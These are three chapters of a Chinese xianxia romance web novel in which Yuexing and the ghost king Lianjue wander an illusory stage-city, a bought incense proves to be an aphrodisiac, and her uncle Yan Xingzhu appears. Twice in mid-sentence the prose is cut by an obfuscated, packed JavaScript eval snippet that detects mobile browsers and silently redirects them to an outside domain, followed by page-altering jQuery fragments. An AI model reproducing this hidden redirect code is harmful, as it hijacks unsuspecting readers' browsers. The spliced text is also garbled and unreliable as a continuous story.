灰蓝色的咒文竟然洗不下来,月情仔细看了看,其实也并不难看,只是看不懂罢了,她也就没再放在心上,换好衣服后,那白鹿馆的铭牌果然又飞了起来,月情往前一走,正是回到了那条大街上。
她重新走回巷子,里边只剩下连绝,她看了两眼,也不多问,只笑着唤道:“大王。”
连绝见她换了一套装扮,没有多说什么,目光逐渐下落,月情垂着袖子,腰上的铭牌被遮得严严实实。
片刻,他抬起了眼,道:“他去追你了。”
月情反应过来他说得是苏洛然,并无在意道:“是吗?”
连绝看着她平淡的脸,低声问道:“你不去找他?”
他果然是误会了——
月情心头犹如含了一口老血,说不清自己的心情,微微咬住牙根,含笑道:“我不认识他。”
连绝眼眸微动,不知是信了还是没信。
月情看着他抬手指天,赤心可由天鉴,深深道:“我真的不认识他,他是少宗主的旧相识,我都不知道他的名字。”
连绝半隐在黑暗中,看着她,心中有一点异样,半晌后,他道:“你不必同我说这些。”
月情在心中哼笑了一声。
她微微歪头,故意细声细气道:“我本也不想说他,可却是大王一遍遍再提他。”
连绝顿在原地。气氛忽而古怪起来。
他分明不是这个意思,可她这般一说,好似他正是这个意思。
若不知情的人听了,只怕是要误会他犯妒,竟逼得她抬手发誓,而至此时此刻,仍旧还在发怨,要她来哄一般。
连绝的眼珠倏尔转动了一下,冰冷的眉间正如青天白日中多了一丝裂缝。
他从不会想这些,从前是,如今本更甚——
犯妒、发怨、哄,这些个字眼,着实令人发指,而他为何会想到这些,皆因风宁与秋苑。
连绝眼眉中无端多了一丝恼意,看着她,止又欲言,欲言又止。
少顷,他才动了动唇,生硬地转移话题,“蜻蜓没有请你去看戏?”
月情看着他,眼中盈满了笑意,连绝微抿唇,匆匆别开了眼。
她莞尔,一步步靠近至他身边,仿若随意道:“戏不重要。”
连绝的余光已看见她靠近过来的影子,他未有动,却无端地蜷了下手指。
月情见他不理自己,神色毫无变化,眉尖仍旧含着笑意,温声柔柔地问,“重要的是,方才是谁惹你生气了?”
24. 青云念(八)
巷中陷入沉寂。
月情静静地等着。她心知肚明,连绝的脾气一向甚好,极少动怒,往往是个笑模样,纵然是如今的鬼王连绝,面上虽然寡冷,但心底一样是软的,见什么都好脾气地纵容着轻易不生气,所以,她才记念,究竟是什么,才引得他眉眼生戾。
连绝动了下眼珠,却是不愿多提。
他骑着马要走,月情却拽住了他的袍角,又抬起白皙的脸来,望着他,一双眼如若秋水,情真意切道:“大王,你且与我说,我不与旁人道。”
连绝长久无言,他甚至没有去看她,墨黑的眼中酝酿着一场无边风暴,不知多久,他才从马上翻身而下,立于她之身前。
月情抬起眼眉,只可惜恰好阳光错落在他脸上,额上的银鱼因此折射出一道亮色弧形,以致于她没能看清他的神色,只听他低声道:“有人要害我,可我却不想杀他。”
他语气平平,犹如平铺直叙,可短短几个字,却让月情品出了一丝无助与迷茫。
还有几分难过。
“既然不愿,那就不杀,”月情开口,她道:“修仙界的人总是打打杀杀,我也不喜,更不愿沾染其中是非。思来索去,唯有绕着走,离他远一些,再远一些,直到他看不见、寻不着,也害不了人。”
他掀起眼睫看她,月情面色温柔眼眸真挚,并没有觉得他手中鲜血淋漓却还要如此惺惺作态实在是有病,而是温声细语,让他远离是非。
巷外热闹喧哗,人来人往,却偏偏没有一个不小心间踩进了这条巷子,只单单他们两个在这里,静静地,隔绝出一片不清不明的昏暗地界。
连绝轻动眼珠,良久,才低低地嗯了一声。
月情微微一笑,忽闻锣鼓声,又扬眉道:“我见那处有舞狮的行当,我自小极少得见,难得遇上,大王,你陪我一观吧。”
连绝见她如此感兴趣,眼中笑意点点,便应道:“好。”
他牵着马跟在她身后,月情转身之时,唇边的笑意却淡了几分,眼底划过不虞。
两三步后,她又特意落步到他身旁,待连绝偏头,又扬起了笑,冲他眨了下眼。
他看着她明媚的笑颜,墨黑的眼珠子轻轻地动了动。
俩人很快就到了舞狮的地界,他们来得巧,正好在表演八子登科,通天塔上八只红红火火的醒狮正在争王争霸,而那通天塔只是由板凳搭起的塔楼,见此情形,更是叫人不由得暗自提心双目眩晕。
这些个手艺人此时此刻就悬在爬向塔顶的两根绳子上,一面攀爬,一面摇尾,一面怒吼,随着鼓声大噪,一干人等看得双腿发软,面上又红又急。
狮子登上塔楼,朝着众人威风凛凛展现雄姿,众人纷纷叫好,掌声频频。
跑腿的捧着铜盘,叮里郎当地跑来一圈,笑着道:“这八子登科难得演一回,若是高兴,还请老爷们赏个笑脸,多多捧场。”
一路至月情这里,她摸了下,什么也没有,只能眨巴眨巴眼去看连绝。
他沉思一瞬,将额上的银鱼取下来,顺手放入了盘中。
银鱼的眼睛是一粒紫色的晶石,那人瞧了眼便知价格不凡,连连笑着,与他二人齐齐相拜,拱手道:“多谢公子,多谢仙子,便祝二位长长久久,此情不移。”
月情暗暗豁了一声,挑了下眉,又侧目去瞧他,连绝眉尖已轻轻蹙起,唇角抿住,却是不知该如何说话。
她低笑一声,与那人道:“可不要乱说,我与这位公子之间,真真是清白如水。”
那人了然地哦了一声,意味不明地他们身上转了一下,笑笑不语。
连绝不虞地看了他一眼,又冷声道:“月情,走。”
月情看他不高兴,反而觉得有趣,但笑不语,踩着步子轻快地跟上他。
两人走了一会儿,又见一花楼,只听嘭地一声,无数的花瓣如雨一般往下落,袭来阵阵香风,盈盈间,花团锦簇,欢声笑语中,正落了个满怀。
“哎哟,这可是好彩头啊,”楼上的人惊叫着,笑道:“这满身花雨,是神明点红装,要做一世一双人的,怎就如此之巧,刚好落在了这小公子与仙子怀中?”
月情捧着满怀的花瓣,嗅中尽是绵绵香气,她抬起头,暗中发笑,是啊,怎就如此之巧?
秋苑未免太刻意了些。
月情看一旁抿直唇角的连绝,思索一二,便刮来一阵冷风,将所有的花瓣全部吹开,楼上人见此不由诶了声,月情抬手一指,将花楼边上的红绸给刮了上去,刚刚好把她们的窗子全给封死了。
她与他道:“这世间怎会有这般巧合,依我之见,她们定然是店子里的陈物卖不出去了,所以设计来诓不谙世事的少年夫妻。”
连绝只见她眉间通透,知世故而不世故,正如山间雪,不理人间俗世,更厌这般矫揉造作九曲迂回,不由垂下眼睫,深觉有理,轻轻地附言点头。
月情抓住他的袖子,神色间是不耻,道:“大王,走。”
他被迫跟上,俩人步下生风,在人群中逆流而行,连绝便只见着她的长发裹着风轻轻地流转,露出半张凛然正气的侧脸。
他微垂眼睫,乖乖跟住她。
离来不远,月情忽而嗅到一阵香味,着眼瞧见路边有一香坊,本打算进去挑挑看,忽而发现他俩根本就没钱。
她沉默片刻后,回头,毅然道:“大王,把马卖了吧。”
马:“?”
两人一前一后走进香坊,里间分隔出好几档竹藤木架,皆一一被静静垂下的流光纱隔住。
月情瞧见有一群女子捏着团扇嘻嘻而笑,她走过去凑了下热闹,这才知晓她们自己在调香。
姑娘掩唇与她笑道:“这个香不可说,恰恰好可以赠与心上人。”
月情微微眨眼,什么叫不可说?
她低头闻了闻,有种淡淡的果香,前调清清淡淡还有些许酸涩之味,后调则开始泛甜一阵阵绵长。
有些迷人,还挺好闻。
月情便问道:“此香为何名?”
她们微微红着脸,与她低声窃窃道:“怀春。”
她明悟,唇角勾出丝丝笑意。
少女怀春,恰如此香。
有一心上人,远在天边近在眼前,心中欢喜却不得回应,长久不安、彷徨,又酸又涩,鼓起勇气来告知心意,得来另一份青涩情意,便涩中回甘,甜如蜜糖,久久绵长。
月情觉得这份年少隐晦心事实在纯洁美妙,便也选了怀春来配。
香料制成香丸,月情分了两个,她自己的则戴在手腕上,坠在镂空的银质莲花薰球里,连绝的则是腰佩,同样是莲花的形制。
她摇在手上轻轻一晃,香气淡淡缭绕,还有轻灵的声响。
月情莞尔一笑。
她回头,连绝并没有戴上,而是拎在手中,盯着那朵小小莲花,微微蹙眉。
月情深深道:“大王,这可是你卖了大黑换来的,你不能辜负它的身价啊!”
连绝:“……”
他微垂眸,晃了下莲花,香味微苦而涩,并没有特别之处,他到底还是佩在了腰间。
月情满意点头,从香坊里出来,远远地就看见了对面一处摊子上正卖着不少彩纸叠来的纸簪花。
她瞬间被吸引了全部注意力,眸光一点一点亮起,停驻着,久久不移视线。
连绝再度蹙眉。
她却是偏偏看中了这个。
月情靠近到他身边,忍不住问:“这个要多少钱?”
连绝瞧着她期待的眼神,道:“买不起。”
她顿时失落,道:“为什么没有两匹大黑?”
连绝:“……”
半晌,他才道:“纸簪花不能买,要亲手来叠。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950863|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月情不再言语,眼眸轻轻而动。
随着他的声音,她回想起他们定亲那一晚,他珍重地递给了她一个盒子,里面正是如这般的簪花。
她记得他当时笑得腼腆,耳根通红,低声说着:“我们家乡有一花朝节,是年轻男女的七夕节,若心有所属,便赠她亲手所做的纸簪花以做信物,届时求亲时便还我纸簪花,再赠玉簪花,以求年少心诚,如玉璀璨。”
二十多年的人生,连绝在的三年实在是太短了,以致于她总会下意识觉得自己身旁没有人在,但稍一细想,才会惊觉,其实他早就无处不在。
月情念此轻轻扯了下唇角,又微笑起来,眼眸中光华流转:“不必买,也不必叠了。”
连绝瞧着她。
她不知是想到了什么,眉眼温柔如水,轻轻地笑着,可分明方才还在怅然失意,难过神伤。
他不明白,不知此时此刻她究竟是悲是喜。
而脑中却回想着她方才失落的模样,他微微拧眉,好看的桃花眼往下压了压,冷峻的神色里透出年少时的一点执拗意气。
只是纸簪花,却并非是玉簪花,而月情也不知其中意,而今又不是花朝节,只是赠她一朵,仅此而已,不会再有其他暧昧不明的心意。
月情却已经转身走了,片刻不停留,浑不在意。
连绝看着她的背影,手指碰到莲花香台,微微偏了下头,如今即使想赠,也开不了口了。
他不由垂眸,静默不语。
她快步向前走了两步,正这时,一行人打闹着涌过来,月情刚想避开,那群人却特特往她那里偏,她退后一步,一双手便多了出来,一边和人争得红头白脸,一边把她往后边推。
月情顿时明白他们要干什么,直接一掌抵住那人,便不动如山,立在此处让他们寸进不了一分一毫。
被她抵住的人:“……”
他小声问,“能不能配合一下?”
月情微笑:“不能。”
众人:“……”
月情目送他们尴尬离场,刚想吐槽这其中的刻意,脚下却突然一晃,朝着后边跌去。
连绝就在她身后,伸出手来,扶住了她的胳膊。
两人之间的距离突然拉近,酸涩的苦味瞬间撞出绵绵甜香。
她一怔,撞进他墨黑的眼中。
边上不知道从哪冒出来一支穿红戴绿的仪仗队,双手一举,喇叭一扬,对着他俩就吹。
正是著名的《花好月圆》,红红火火,热热闹闹。
不仅如此,那群戏子是相当卖力,红着脸起哄鼓掌,还有人撒着红枣、花生、桂圆、瓜子,如若不是大街上,她差点以为要洞房成亲了!
就连少宗主都惊呆了,“秋苑到底给他们塞了多少钱?!”
月情:“……”
尴尬。
她动了动唇,想随便说点什么,总之,囫囵着,把这尴尬劲给盖过去,可她却只感觉到他离得很近。
很近很近,近到能清晰地闻到他身上浅淡的清香,还混杂着怀春的甜香,简直是像一张目眩神迷的网一般,紧紧地将她攫住。
而最熟悉的是——是他冰凉刺骨的手。
他的手一向很冷,敷在皮肤上时,往往引得她战栗不止,轻轻哆嗦,忍不住微微拱起身子。
每每这个时候,她就会想,分明他的手寒气重重,可他碰过的地方,却犹如一把火煎熬般往上在烧,灼得她一阵牙酸,手软腿也软。
再被他冰凉的手一点点覆住……发抖、低吟。
崩溃……
“月情?”他的声音近在耳侧,一如当时的轻哑。
她浑身如过电一般,耳根通红,光天化日之下,她猛然惊醒,看见周围一群人,呆呆不敢语。
她简直是、
简直是、
疯了。
25. 青云念(九)
正这时,异变突生。
吹喇叭的人群里突然杀出一身着墨蓝色长袍的青年,他眉间冰冷如寒霜,气势迫人,直接把洒“枣生桂子”的人群哗啦一声震开。
少宗主在旁惊喜道:“小师叔!”
月情心里咯噔一声,抬目一见,正是一双又冷又怒的眼。
她红着脸,呼吸急促,眼眸若一汪春水,呆呆看着他。
闫星逐一见,眼中顿时划过凛冽冷光,手中流星剑芒一闪而过,直指向一只手扶住月情的连绝。
连绝扫了他一眼,托了月情站稳,又移步,微一侧身,莲花香台轻摇,甜香若蜜裹糖霜,星芒紧接而至,正要挑破锦绳,却恰恰好错过他的腰身。
闫星逐微眯眼,手腕一转,星芒却撞脆冰,激起一阵寒冷雾气。
他的神色骤变,看向那不远处——月情呼出一口热气,抬起含水的眼眸,哑声道:“小师叔,你做什么要伤人啊。”
听到她这么说,闫星逐怒而握剑,冷笑道:“你真是鬼迷心窍了,这臭小子给你下药还占你便宜,你还为他说话!”
月情捂住滚烫的脸,微微呆滞,“下…下药?”
连绝闻言动了下眼珠,扯下了腰间的莲花香台,里间的香丸散发着丝丝甜味,绵长、交织,缭绕着,宛若情人厮磨间紧紧相缠的十指。
是催情香。
但对鬼无用。
他微微压眉,轻轻用力,将莲花香台捏作齑粉。
月情呆了一瞬,这才反应过来,连忙取下手中的莲花薰球,瞧着那香丸,眼中震惊不已。
若是在大祁,香坊是绝不可能把此等功效的香料光明正大摆出来的。
这修仙界,当真是百无禁忌!
她失语,胡乱将其冻成了冰疙瘩,攥在手心揉成了碎冰,涨红脸道:“不是下药。”
闫星逐狐疑地过了她一眼,眼神变化一二,见她神色不似作假,缓缓将剑收了起来。
他低沉着嗓子,问:“怎么回事?”
月情道:“乌龙,乌龙,方才我逛香坊时随意挑选了个香料,没成想会是这个功效……”
她难以齿启,也暗暗怪自己与连绝散步太放松,太迟钝,仔细回想,那群少女的神态分明不大对劲。
闫星逐冷冷指向一边吹喇叭撒喜糖的人群,“这也是乌龙?”
月情一噎,还有这一茬。
她鼻间还有甜香,心生燥热,根本冷静不下来,忍不住偷眼瞧连绝,热气绵绵道:“当然了。”
闫星逐见她这番心虚之态,只觉可笑而怒意又起,见连绝的眼神更像看拐卖良家少女的混混。
他的手再度按在了流星剑上,咬牙道:“你见我信吗?”
月情百口莫辩,酡红着脸,张唇又止。
这确实不是乌龙,但是——
连绝瞧了她一眼,见她着急解释,慢慢垂眸而停顿片刻。他的眼眸渐渐幽沉,而此间忽而一静,又蓦然间恢复喧嚣。
他低沉起嗓音,面无表情道:“不是乌龙,是受人指使。”
月情转目向他看去,却对上一双冰冷而肃杀的眼眸。
她懵然一瞬,眨了眨眼,吐出口热气,又蓦地反应过来——受人指使,受谁的指使,秋苑的!
她倒吸一口冷气,完蛋,秋苑又要被当球踢了。
月情紧张着急道:“她一定是好意!”
连绝根本不信,面色不虞,明显有再踢秋苑五十脚的打算。
她的脸酡红如醉,胡言乱语地扯道:“常言道:宁拆十座庙,不毁一桩婚。而我俩虽然没有婚约,但都有一对眼睛一只鼻子一张嘴,这实在是太有缘了,有缘到感动得她涕泗横流,不然,她绝不会出此下策,所以……”
话未说完,脑袋上就多了个肿包。
闫星逐睁大眼眸,又眉头紧锁,骂她道:“半个多月不见你居然学会了说这等恶心的话,月晚,你被风宁传染了吗?”
少宗主:“……”
月情忍了忍,十分□□,还看着连绝,为秋苑开脱,“所以,千万千万不要怪她。”
闫星逐盯着她脸上的灰蓝咒文,怒火渐消,变成沉重与慌乱,“你是不是中邪了?”
月情:“……”
她微笑道:“小师叔,我很好,我只是见不得人被当球踢而已。”
连绝看着她惨惨的笑容,并未说话,忽而,她松了口气,露出了真心实意的笑容,眼眸亮亮地望向他,他一顿,这才后知后觉自己的唇角微微上扬着。
意识到这一点,连绝有几分失神。但他并没有抚平唇角,而眼神中的肃杀之气则渐渐消失。
二人相视而笑。
闫星逐:“?”
他被夹在中间,左右看了看,缓缓明白过来原来他根本就是个局外人,什么中邪,哪有中邪,这分明是旁若无人、不顾人死活的调情!
他微微吸了一口气,冰冷着神色残忍打断道:“别看了,你们以为这里是什么调情的好地方吗?”
他沉声道:“此处万分诡异,行差踏错就是死路一条,别再傻乐了,先找个安全的地方。”
他一边说,一边强硬地挤到两人中间,把月情遮得严严实实,逮住她就要赶紧把她给带走,一二步后,他到底还是停下来回头看了眼连绝。
后者对上他却了无笑意,眉宇间是拒人于千里之外的冰冷。
闫星逐顿时倒眉,想骂人。
又生生忍住,语气烦躁,“你也跟上。”
月情听此瞬间回过头去,热乎乎地笑着说:“既然师叔让你来,你便也来吧。”
闫星逐想打人。
他冷哼一声,阴阳怪气地学她说话,“既然师叔让你来,你便也来吧~”
闫星逐继续阴阳冷笑,“我竟不知,什么时候你还会这般好声好气地说话了?”
月情噎住,不敢吱声。
少宗主见此画面,一阵牙酸,“好诡异。”
十三年前,连绝只在神魔殿下留下了一道飞雪中朦胧的暗紫身影,彼时彼刻,闫星逐还目眦欲裂要杀了他,十三年后,他换了一套绛色的袍子,两两相见却是互不相识。
闫星逐还冷面心热地让他跟上来。
而鬼王也真的跟了上来。
连绝的表情一贯是冰冷厌世的,说话往往也没有起伏,但他他他,他居然抬手拱了一礼,道:“谢谢师叔。”
更诡异了!
闫星逐冷冰冰道:“谁是你师叔?”
本来月晚没被鬼王残害,没受什么伤,好端端、活生生地,他已经是心满意足了,谁知道半道上突然杀出一个面瘫小子。
水灵灵的大白菜,养了十六年的大白菜,就被一只不知道从哪来的猪给拱了。
他那个气呀——
连绝仍旧面无表情,但听之任之,改口道:“谢谢月姑娘的师叔。”
闫星逐:“……”
他的脸色更臭了。
月情不由低笑了声,瞬间被甩过来的一个眼刀扎中。
她无辜不已,又问道:“小师叔,你要带我们去哪里?”
闫星逐微微蹙眉,收回目光,心生奇怪,道:“你一直在这一条街上?”
月情听到他的话,眼眸轻动,点了点头。
闫星逐领着他们进了一条无人的小路,他观察四周,神色警惕。
片刻后,确认此处安全无虞,才低声道:“这座城是一座被领域笼罩起来的城池,其间空间错综复杂,向前走一步向后走一步都有可能坠到另一片空间里。”
他沉默片刻后抬眉道:“从进入青云城伊始,我已经踏入了四个完全不同的空间。”
闫星逐道:“这是第四个。”
月情闻言抚了下腰间的白鹿铭牌。
莫名消失的风宁,已经离开又重新回到巷尾的连绝,一步退后至花池一步又重回街巷的月情,冲出暗巷不见的苏洛然,以及突然出现的闫星逐。
她看着这座喧哗热闹的城池,在无形之中,似乎看见了一扇扇看不见又摸不着的门。
而掌控门的人——
闫星逐看向天空,万里无云,碧蓝如洗,却宛若有成千上万的眼睛正戏谑地盯着他们。
他沉声道:“不仅如此,还有人在天外监视我们。”
月情若有所思地取下白鹿馆的铭牌,看着上面的花纹,回想起之前发生的一幕幕。
——“见云山特色霸王剧种,戏名叫《称王称霸谁敢不服,不服?那就挨打!》”
——“其实,我本来排的是一部风花雪月的爱情戏,但被大王否决了,临时排演成了武打戏。”
——“这些都是蜻蜓和秋苑请来拍戏的戏子。”
为什么没有人读台本,吊嗓子,原来是因为他们本来就是戏中人。
而所谓地有人在监视,其实是——看戏的观众?
月情凝目,问道:“小师叔,你在这四个空间里经历了什么?”
闫星逐一言难尽,伸出焦黑的左手,“第一个世界有一群失控的机关人,每个实力都在悟念境,一路追着我打。第二个世界则是一座孤岛,雷云滚滚,海上风浪无尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950864|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,雷电千重,我这只手就是因此而伤。第三个世界……”
他没再说了,但一定也很凄惨。
月情看着他的眼中顿时多了分同情。
闫星逐赫然就是秋苑口中武打戏的主演之一,但这个打戏却是挨打的戏!
至于她和连绝,不必说了,就是风花雪月的爱情戏了。
月情轻抚下巴,暗自点头,秋苑真是好姐妹,为了帮她,居然冒着风险让连绝也入戏。
闫星逐还不知道自己是挨打的主演之一,神色沉沉与他们道:“此处领域的主人定然是鬼王。”
他恶心道:“他若是光明正大一决生死,我一个字都不会说,但没成想十三年一过,他的品味竟然与癫鬼风宁靠拢,恶趣味十足,以折磨、玩弄修士为乐。”
这话她就不赞同了。
“小师叔,如若不主动走进来,又怎么会被困住?”
闫星逐默然,的确如此,如果不主动走进来,绝不会被困在这青云城。
但是,他冷笑了一声,抬手就给了她一个爆叩,“如果不是你,你以为我会来这青云城?”
月情捂头,不敢吱声。
闫星逐继续骂她,“你大伯说了多少遍让你不要与鬼王针锋相对,让你离他远远地!你不听,还跑来这里,还好没出事,不然,不然……”
他没说完,胸膛剧烈起伏,冷硬的表情中,出现一抹裂缝。
少宗主怔怔地看着他,说不出话。
长久沉默中,他道:“我也恨他,恨他杀了师父…但是,月晚,我打不过他,十三年,整整十三年,我还是打不过他。”
十三年前,还有年少心性与玉石俱焚的决心与热血,十三年后,认清事实,深知根本不会玉石俱焚,他与鬼王对上,只会让净月宗多死一个人,仅此而已。
鬼王甚至不会脏手。
他看向她,哑声,“你的天赋比我高,以后会比我更厉害,但你不能这么做,你不能把自己成长的机会都逼没了…我知道,我知道从师父死的那一天起,你就不想活了,但是,你还年轻啊,你这么年轻……”
月情眼眸微动,失语不言。
少宗主从不怕死,从不惜命,遇事不决,选择自杀为上,原来是因为,早在十三年前,那个名叫月晚的小女孩儿就埋葬在了那一片极致寒冷的大雪里。
她早就已经死了,死在那个盛夏的寒冬。
而医修一次次救起来的人,不是净月宗少宗主,而是不想活却又被仇恨吊住一口气的孤魂。
半晌,闫星逐道:“我不知道鬼王为什么绕了你一命,但是你不能再继续留在他身边了,你性子一向急躁,若是被他得知有所异心,一定会杀了你,月晚,回来吧,不要再铤而走险了。”
月情还是没说话。
少宗主同样静默不语,她的光影垂着脑袋,矮矮地,几乎要蜷缩成一个团。
半晌,她闷声道:“月情,你求求连绝,让他把净月宗的人送走吧。”
月情看着她,少宗主别开了头不让她看。
——她没有说要回去。
月情沉默,少宗主虽然冲动但是不笨,她这些天一定是仔细盘算过究竟是谁能无声无息地动净月秘法。
盘算出来的结果,一定让她不能接受,一定也是净月宗的人,否则她听到闫星逐这么说不会是逃避的反应。
月情道:“小师叔,鬼王有七分信我,他不会对我动手的,我很安全,你不必担心。”
见她如此冥顽不灵,闫星逐失去了所有的手段和力气,长久地沉默,眼神中是孤寂的疲惫。
他无声垂眸。
三人静静而立。
“……”
等等,他蓦然抬头,盯向一边不吭声的连绝。
连绝感受到他灼灼的目光,毫无动静的神色起了一丝波澜——他竟然罕见地感受到了一丝不妙的气息。
闫星逐沉沉问:“那他呢?”
月情看看连绝,又看看闫星逐,心生不妙,谨慎道:“他在这里站着。”
此间静默了一秒钟。
闫星逐吸气,又冷笑着问,“所以,你为了鬼王也不要他了?”
他道:“你看着他的眼睛,拿出刚才调情的语气,再说一遍,就说我要杀鬼王,从此以后桥归桥、路归路,此生再不相见。”
月情:“……?”
闫星逐还没完,又对连绝道:“此等不负责任的情眷,赶紧一刀两断,待百八十年后,让她看着你儿孙满堂享天伦之乐,后悔死她。”
连绝:“……”
26. 青云念(十)
“小师叔,冷静、理智,”月情连忙捧出一碗冰递给闫星逐。
后者席地而坐,抱剑道:“割袍断情吧,我给你俩做见证人。”
月情道:“……师叔,我说的是真的。行云通天境上都传疯了,鬼王十分满意我这个厨娘,他不会杀我的。”
提及行云通天境,闫星逐更没有好脸色,“你还有脸提,现在净月宗已经成为了修仙界第一可笑的宗门!”
月情坐到一边随手丢的草编框子上。矛盾不会消失,只会转移,她转了下眼珠,瞬间道:“小师叔,风宁也在这里!如若不是他,净月宗又岂会遭人耻笑?”
闫星逐按住流星剑,眼底黑气翻涌,表情难看,“此处空间复杂多变,纵然他在这里面,也找不到他。”
他沉声道:“而且,这领域是被人牢牢掌控着的,我们根本没有选择的余地。”
“不对,”月情道:“小师叔,如你所言这领域被人牢牢掌控,那我们怎么可能会相见?按理而言,我身为鬼王身边的人,他们不可能把你往我这里送。”
闫星逐闻言,神色一凛。
“看来她每发动一次,必然会有一次意外,并非能完全随心意而动,”月情看向他,“你看,这像不像一种事故?”
闫星逐狐疑地看她,“什么事故?”
“演出事故,”月情肯定道。
闫星逐惑道:“为什么与演出有关系?这不是空间事故?”
她道:“因为我是关系户。”
“……”
这个理由该死的让人无法反驳。
他嘴角抽搐,“所以你早就知道内情了?”
“比你知道的早一点点,”月情向他解释,示意他来看这片祥和热闹的城池,道:“现在我们不是在一片空间里,而是在一座戏台上,而你所以为的空间转换,我觉得应该用戏本更换更合适,而所谓的有人在监视,其实是台下的观众在看你表演。”
她道:“观众的口味千奇百怪,一个要见你被机关人追逐,一个要见你被雷劈,班主也就是领域的主人就将你这只提线木偶四处乱丢,但是意外突生,不小心用力过猛,直接丢到了我这一出戏台上。”
闫星逐听她说着,凝眉而思,表情逐渐古怪,脸庞微红,是羞恼之意。
月情丢着冰球抛来玩,道:“我身为关系户,也有一张戏票,是其中的观众,只是我没有应邀去看戏,反而主动地走上了戏台。”
她道:“这也是一种事故。”
“但这个事故的发生,是不是意味着戏中人也可以下台呢?”
闫星逐面色变化,揣测道:“下台后是什么,鬼窝?”
月情没有否认,偷偷瞧了眼一边的连绝,又接着道:“鬼窝不可怕,毕竟还有我在。重要的是在这个戏班子里,观众可以任意挑选戏本、戏子。如此,我便可以找到净月宗的人在哪里,而后偷偷把你们从台上换下来,以观众的身份送出去。”
闫星逐只觉可笑,眉眼恹恹。
他道:“若一切如你所言,你的计划已经失败了,我们如今就在戏台上,所说的每一句话都被听了去,你甚至不必肖想送我们偷偷离开,先想想鬼王会不会气急败坏地杀了你。”
所言极是。
但鬼王就好端端地在你身边听着,没有气急败坏,没有杀人,还若有所思。
月情搪塞他道:“师叔你放心好了,别人都爱看打打杀杀的戏码,没人喜欢看你我在这东拉西扯。”
闫星逐无语,抱剑道:“那依你之见又该如何?”
月情心中已经清明。
青云城此时此刻就是个大戏台,这一天,这戏台上将会有无数出风格迥异完全不一的戏上演,而其中的修士正是每一出戏的主角。
他们连轴转,一会演挨打的戏一会演挨劈的戏,在各个戏本子里翻来覆去,而秋苑与蜻蜓就是操控他们的戏班主,只是这么多主演,他俩总不能每一个都仔细盯着,必然是隔一段时间就自动洗牌。
唯有她和连绝不动如山。
月情心想,这一台戏一定是秋苑点名要看,谁也不能把他们俩换下台,谁也不能来插足。
可意外发生,苏洛然与闫星逐凭空出现。
为何?唯有可能是大洗牌时产生的空间缝隙,让他俩成了漏网之鱼,所以若是要救人,或是要下台偷跑,唯有这缝隙能钻钻空子。
但这也太难了,因为主演大规模罢演逃跑,戏班主是一定会知道的。
不过——
她选择的是简单模式!
月情轻轻一笑,偏头看向连绝,盈盈问:“你有没有什么想法?”
连绝也偏了下头,与她相视。
许久以前的许久以前,他也很喜欢在台下看戏或是听书,秋苑目的虽然不纯,但这样的节目也算是用心。
他便静静道:“帷幕。”
一场戏的开场落幕都需要升落帷幕,譬如说闫星逐这位主演,他方才一共是接演了大战机关人、雷霆万钧等三场戏,如此,他换戏演出时中间定然有一道帷幕隔开了这三出戏。
而这,正是空间转换的门。
“只要能够掌控帷幕,就可以掌控这片空间,”月情瞬间明白,眼睛一亮,琢磨一二后又拍手道:“一般而言,拉大幕的都是戏中跑龙套的角色。”
她看向他,以求证实。
连绝不语,而直接肯定了她,提起袖子轻轻一别,再度放下来,已经是一张平平无奇的脸,手里还抱了一根糖葫芦树,走在大街上,溶于大街上。
月情见此,立即拿出一张化形符,往身上一贴,既然是龙套,重点就在于低调、平平无奇,她很有觉悟,还顺手摘了他怀中的糖葫芦,也是一过路人。
他们俩一并看向闫星逐。
闫星逐动了动唇,觉得他们这想法又荒诞又不靠谱,但事已至此,只能死马当活马医了。
他被迫跟上。
三人涌进大街,很快就消失无踪。
走着走着,月情就发现了一些变化,她感觉不到闫星逐的气息了,眉眼一动,往后看去。
只见身后背着包袱的闫星逐轻飘飘地,目光落在她身上,动了两下眼睛,竟是墨点似地在纸上弹了弹,一张嘴张开,没有舌头,只有一笔墨渍挣动的痕迹。
他竟是化作了一只寥寥几笔而成的纸人。
月情低头,自己的一双手,也毫不例外是两根墨笔,手里咬了半口的糖葫芦还被风吹得哗哗作响。
侧目,无数的纸人行走其间,穿红戴绿,脸上都画着红扑扑的笑脸,在折纸的城中拐来拐去。
天空则被劈成了两半,一半是画出来的白纸点红阳,一半是夜明珠照亮的回廊戏楼。
那楼中坐满了黑压压的影子,无一不是见云山的小鬼,他们脑袋拱在一起,嗬嗬笑着,只单单有一点绿油油的眼睛。
越过底下影影绰绰的观众,对面正挂着三个长而阔的大镜子。
一镜正是一世界,一世界正是一戏曲。
月情正对面的那一出戏就是大场面,还是风宁的主场。
他此时威风极了,脚踩一只黑色蛟龙,在海中乘风破浪无往不利,手中执长鞭,哗啦一下甩过去,顿时掀起滔天骇浪,将其中数不尽的修士掀来滚去。
他威风凛凛,邪魅狂狷,最受观众喜爱,镜子前无数小鬼为他叫好,翻腾鼓掌。
正这时,楼上飞来一纸折的黄色闪电,飞入镜中,那镜中世界欻地声惨白,轰隆隆雷声顿起,天空裂开,一道闪电劈下,在海中苦苦挣扎的修士们顿时头发倒竖,口吐黑烟。
看着他们倒霉,小鬼们笑得左歪右斜,翻来滚去,破锣嗓子地嗷嗷大叫。
只觉得快意至极!
